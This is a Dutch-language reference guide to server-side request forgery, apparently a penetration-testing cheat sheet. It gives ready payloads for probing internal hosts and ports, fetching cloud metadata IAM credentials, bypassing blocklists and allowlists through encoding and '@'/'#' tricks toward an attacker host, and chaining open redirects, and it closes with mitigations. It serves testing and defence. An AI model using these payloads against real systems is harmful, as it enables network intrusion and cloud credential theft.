Skip to content

SSRF – Server-Side Request Forgery

Volledige Referentiegids


1. Wat is SSRF?

Server-Side Request Forgery is een kwetsbaarheid waarbij een aanvaller de server misleidt om HTTP-verzoeken te doen naar een doel dat de aanvaller zelf niet rechtstreeks kan bereiken.

Aanvaller → [Kwetsbare server] → Intern netwerk / cloud metadata / externe systemen

De kwetsbare server fungeert als onbedoelde proxy — zonder authenticatie, vanuit een vertrouwde positie in het netwerk.

SSRF staat in de OWASP Top 10 (A10:2021) — bijzonder impactvol in cloud-omgevingen.


2. Impact

Een succesvolle SSRF-aanval kan leiden tot:

  • Ongeautoriseerde toegang tot interne systemen en data
  • Toegang tot andere back-endsystemen waarmee de applicatie communiceert
  • Willekeurige command execution (via kwetsbare interne diensten)
  • Aanvallen op externe systemen die lijken te komen van de organisatie zelf
Aanvalsvector Voorbeeld
Intern netwerk verkennen http://192.168.1.1/admin — interne routers/diensten bereiken
Cloud metadata stelen http://169.254.169.254/latest/meta-data/ — AWS/GCP/Azure credentials
Back-endsystemen aanvallen Databases, Elasticsearch, Redis zonder authenticatie
RCE via SSRF Via kwetsbare interne dienst (bijv. Jenkins, Struts, Redis)
Pivot naar externe aanvallen Aanval op derden lijkt van het slachtofferbedrijf te komen

3. Herkennen — Waar zit SSRF-risico?

Zoek naar functionaliteit waar de server een URL of host ophaalt op basis van user input.

Duidelijke signalen

Functie Voorbeeld parameter
URL preview / link unfurl ?url=https://example.com
Webhook configuratie callback_url=http://...
PDF / screenshot generator ?page=http://...
File import van externe bron ?file=http://...
Server-side image resize ?image=http://...
SSO / OAuth redirect redirect_uri=http://...
XML/JSON met externe referentie XXE-achtige constructies

Minder voor de hand liggende vectoren

  • Referer header
  • Host header
  • JSON body velden: "src", "uri", "endpoint", "target", "dest", "path"
  • XML entiteiten (XXE → SSRF combinatie)
  • GraphQL queries met externe URL-velden

4. Testen — Stap voor stap

Stap 1 — Baseline vaststellen (out-of-band)

Stuur een verzoek naar een server die jij controleert:

POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded

stockApi=http://jouw-id.oastify.com

Als je een DNS lookup of HTTP-verzoek ontvangt in Burp Collaborator → SSRF bevestigd.


Stap 2 — Interne hosts testen

stockApi=http://127.0.0.1/
stockApi=http://localhost/
stockApi=http://192.168.0.1/
stockApi=http://10.0.0.1/
stockApi=http://172.16.0.1/

Kijk naar verschil in response: - Andere HTTP-statuscode - Andere response-lengte - Foutmelding met interne informatie


Stap 3 — Admin interfaces opzoeken

http://127.0.0.1/admin
http://127.0.0.1:8080/admin
http://192.168.0.X:8080/admin   ← IP-range sweep via Intruder

Stap 4 — Cloud metadata endpoints

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP
http://metadata.google.internal/computeMetadata/v1/

Stap 5 — Poorten scannen via Intruder

Als je niet weet op welke poort een interne dienst draait:

stockApi=http://192.168.0.1:§8080§/

Payload type: Numbers → From: 1, To: 65535, Step: 1
(Of gebruik een top-poorten lijst voor snellere resultaten)

Detectie via response-verschil: - Poort open → response met inhoud of specifieke foutmelding - Poort gesloten → connection refused → andere foutcode of timeout

Veelgebruikte interne poorten

Poort Dienst
8080 / 8443 Tomcat, Jenkins, interne webapps
8888 Jupyter, diverse admin UIs
9200 / 9300 Elasticsearch
6379 Redis
5432 PostgreSQL
3306 MySQL
27017 MongoDB
4848 GlassFish admin
8500 Consul
2375 Docker API (onbeveiligd)
10250 Kubernetes kubelet

Stap 6 — Blind SSRF (geen output in response)

Geen zichtbaar resultaat? Test via out-of-band callbacks:

  • Burp Collaborator — registreert DNS/HTTP callbacks (Pro)
  • interactsh (interact.sh) — open-source alternatief
stockApi=http://uniek-id.interact.sh/ssrf-test

Als de server het verzoek doet maar jij niks ziet in de response → Blind SSRF bevestigd.


Stap 7 — SSRF via headers

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Referer: http://169.254.169.254/
Host: internal-service.local

Sommige applicaties vertrouwen deze headers en doen intern requests op basis ervan.


5. Filters omzeilen

5a. Blacklist-gebaseerde filters

Blocklist op 127.0.0.1 of localhost? Probeer:

# Decimal / octal encoding
http://2130706433/          ← 127.0.0.1 in decimal
http://0177.0.0.1/          ← octal

# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/

# Short notatie
http://127.1/
http://0/

# DNS rebinding
http://127.0.0.1.nip.io/
http://spoofed.domain → 127.0.0.1

# HTTPS in plaats van HTTP
https://127.0.0.1/

# URL encoding
http://127.0.0%2E1/
http://%6c%6f%63%61%6c%68%6f%73%74/   ← localhost encoded

5b. Whitelist-gebaseerde filters

De applicatie vereist dat de URL een bepaalde toegestane host bevat. Exploiteer inconsistenties in URL-parsing:


@ — credentials injecteren

https://expected-host:fakepassword@evil-host

De @ scheidt credentials van de hostname. De filter ziet expected-host maar het verzoek gaat naar evil-host.

Filter denkt : ✓ bevat "expected-host"
Request gaat : → evil-host

# — URL fragment misbruiken

https://evil-host#expected-host

Alles na # is een fragment — nooit naar de server gestuurd. Filter keurt het goed, maar de server spreekt alleen evil-host aan.

Filter denkt : ✓ eindigt op "expected-host"
Request gaat : → evil-host

Subdomain spoofing — DNS hiërarchie

https://expected-host.evil-host.com

De filter vindt expected-host terug in de URL. Maar jij controleert evil-host.com en bepaalt zelf de DNS-resolutie.

Filter denkt : ✓ begint met "expected-host"
DNS lost op  : → jouw server

URL-encoding — parser verwarren

http://127.0.0%2E1/          ← punt encoded
http://%6c%6f%63%61%6c%68%6f%73%74/   ← localhost

Dubbele encoding voor servers die recursief decoderen:

. = %2E = %252E

De validatiecode en de HTTP-client decoderen soms anders → bypass.


Combinaties

https://expected-host@evil-host#.expected-host
https://expected-host%40evil-host
http://expected-host:80%40evil-host/

5c. Open Redirect chaining

Als een toegestaan domein een open redirect heeft, kun je SSRF-filters volledig omzeilen.

Open redirect op toegestaan domein:

https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
→ HTTP 302 Location: http://evil-user.net

SSRF exploit via open redirect:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

Hoe het werkt:

1. App valideert URL
   → "weliketoshop.net" staat op de whitelist ✓

2. App doet request naar weliketoshop.net/product/nextProduct?...

3. weliketoshop.net antwoordt:
   HTTP 302 → Location: http://192.168.0.68/admin

4. HTTP-client volgt redirect automatisch

5. Request bereikt: http://192.168.0.68/admin ← SSRF geslaagd

De whitelist beschermt de input — niet wat er gebeurt na een redirect.


6. Wat te doen bij SSRF-bevestiging?

SSRF bevestigd
    │
    ├─ Intern netwerk in kaart brengen (IP-ranges, poorten)
    ├─ /admin endpoints ophalen
    ├─ Cloud metadata → IAM credentials stelen
    ├─ Interne API's aanroepen zonder authenticatie
    ├─ Gevoelige configuratiebestanden lezen
    └─ Pivot naar RCE (Jenkins, Struts, Redis EVAL, ...)

7. Automatische detectie — Burp Suite

Feature Community Pro
Active scanner
Burp Collaborator
Blind SSRF detectie Gedeeltelijk ✓

Wat Burp WEL detecteert

  • Basic SSRF via Collaborator-payloads in URL-parameters
  • Out-of-band DNS/HTTP callbacks
  • Sommige blind SSRF via active scan

Wat Burp NIET automatisch detecteert

Blinde hoek Reden
SSRF in onverwachte parameters "endpoint", "target" worden niet als URL herkend
Header-gebaseerde SSRF Referer, X-Forwarded-For niet altijd getest
Blocklist bypasses Decimal encoding, IPv6, DNS rebinding niet automatisch
Chained SSRF via open redirect Te complex voor automatische detectie
Geneste URL-velden in XML/JSON Afhankelijk van body-parsing kwaliteit

Conclusie:

Burp active scan = goede eerste zeef
Manueel testen   = noodzakelijk voor volledige dekking

8. Tools

Tool Gebruik
Burp Suite Pro Collaborator voor blind SSRF, Intruder voor IP/poort sweep
ffuf / wfuzz Interne IP-ranges en poorten bruteforcen
interactsh Open-source out-of-band callback server
nip.io / sslip.io DNS-gebaseerde bypass helpers
Collaborator Everywhere Burp extensie — injecteert Collaborator payloads in alle headers

9. Mitigaties

  • Allowlist van toegestane URLs/domeinen — nooit een blocklist als primaire verdediging
  • Verzoeken nooit doen op basis van user input zonder strikte validatie
  • Netwerksegmentatie — interne services onbereikbaar maken vanuit de appserver
  • Cloud metadata endpoints blokkeren op infrastructuurniveau
  • HTTP-redirects niet automatisch volgen in server-side HTTP-clients
  • Response-inhoud filteren — interne IP-adressen of hostnames mogen niet lekken
  • Firewall rules — appserver mag alleen whitelisted externe hosts bereiken